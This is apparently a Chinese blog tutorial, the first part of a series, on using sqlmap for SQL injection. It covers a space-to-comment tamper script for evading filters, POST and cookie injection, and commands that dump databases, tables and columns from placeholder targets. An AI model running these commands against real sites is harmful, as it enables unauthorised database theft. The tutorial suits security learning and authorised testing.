sqlmap过滤连续空格的方法(一)

简介: sqlmap过滤连续空格的方法(一)

  image.png

一、指定脚本

tamper=space2comment是SQLMAP的一个参数,用于指定使用space2comment.py脚本进行注入测试时的数据处理方式。具体来说,space2comment.py脚本的作用是将SQLMAP检测目标时所使用的payload中的空格全部替换成注释。通过使用这个参数,可以增加注入测试的成功率。

范例:<<引用:–>sqlmap->tamper,选中space2comment.py文件,并打开(记事本也可以) 。 引用:这段代码为space2comment.py脚本文件的核心代码,其作用是将SQLMAP检测目标时所使用的payload 中的空格全部替换成注释。 2.启动SQLMAP 。 请回答我或者给我介绍或演示一下:–tamper=space2comment是什么意思? tamper=space2comment是SQLMAP的一个参数,用于指定使用space2comment.py脚本进行注入测试时的数据处理方式。具体来说,space2comment.py脚本的作用是将SQLMAP检测目标时所使用的payload中的空格全部替换成注释。通过使用这个参数,可以增加注入测试的成功率。你可以按照以下步骤来使用这个参数:

打开SQLMAP。

在命令行中输入--tamper=space2comment。

SQLMAP将使用space2comment.py脚本对注入测试的payload进行处理,将其中的空格替换成注释。

运行注入测试,以提高成功率。

二、post请求

检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。

-r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。

sqlmap -r bp.txt


三、cookie注入

--cookie 指定cookie的值,单/双引号包裹。

sqlmap -u "http://xx?id=x" --cookie 'cookie'


四、脱库

获取所有内容

sqlmap -u 'http://xx/?id=1' -a


-a 就是 all 的意思,获取所有能获取的内容,会消耗很长时间。

image.png

1、获取数据库

--dbs 获取数据库

1、获取数据库版本

sqlmap -u 'http://xx/?id=1' -b

image.png

2、获取当前使用的数据库

sqlmap -u 'http://xx/?id=1' --current-db

image.png

3、获取所有数据库

sqlmap -u 'http://xx/?id=1' --dbs

image.png

4、获取表

--tables 获取表

4.1获取表,可以指定数据库

sqlmap -u 'http://xx/?id=1' -D 'security' --tables

image.png

4.2同时获取多个库的表名,库名用逗号分隔。

sqlmap -u 'http://xx/?id=1' -D 'security,sys' --tables

image.png

4.3不指定数据库,默认获取数据库中所有的表

sqlmap -u 'http://xx/?id=1' --tables

image.png

最后面显示每个数据库下都有哪些表。

5、获取字段

--columns 参数用来获取字段。

5.1、获取字段,可以指定库和表

提示:只指定库名但不指定表名会报错。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns

image.png

接下篇:https://developer.aliyun.com/article/1620077

相关文章
|
开发工具 git Python
python之 libnum库安装使用方法
python之 libnum库安装使用方法
1149 0
|
SQL Web App开发 XML
广联达OA漏洞合集(信息泄露+SQL注入+文件上传)
广联达Linkworks办公OA存在信息泄露,攻击者可通过此漏洞获取账号密码登录后台,造成其他影响。
3200 1
攻防世界web---fileinclude
攻防世界web---fileinclude
|
NoSQL 安全 Redis
Bugku S3 AWD排位赛-3(带你入门awd流程)
Bugku S3 AWD排位赛-3(带你入门awd流程)
1751 1
|
安全 PHP
攻防世界-file_include(convert.iconv的使用)
攻防世界-file_include(convert.iconv的使用)
652 0
|
SQL 安全 关系型数据库
SQL自动化注茹-SQLmap入门操作(二)
SQL自动化注茹-SQLmap入门操作(二)
|
SQL 安全 关系型数据库
sql注入原理和sqlmap命令的基础命令以及使用手法
sql注入原理和sqlmap命令的基础命令以及使用手法
|
安全 Shell Linux
Webshell管理工具:AntSword(中国蚁剑)
中国蚁剑的下载、安装、详细使用步骤
14984 1
|
SQL 安全 测试技术
Kali下Sqlmap工具使用方法之POST方法篇
Kali下Sqlmap工具使用方法之POST方法篇
775 0
|
SQL 开发框架 .NET
攻防世界---web---supersqli
攻防世界---web---supersqli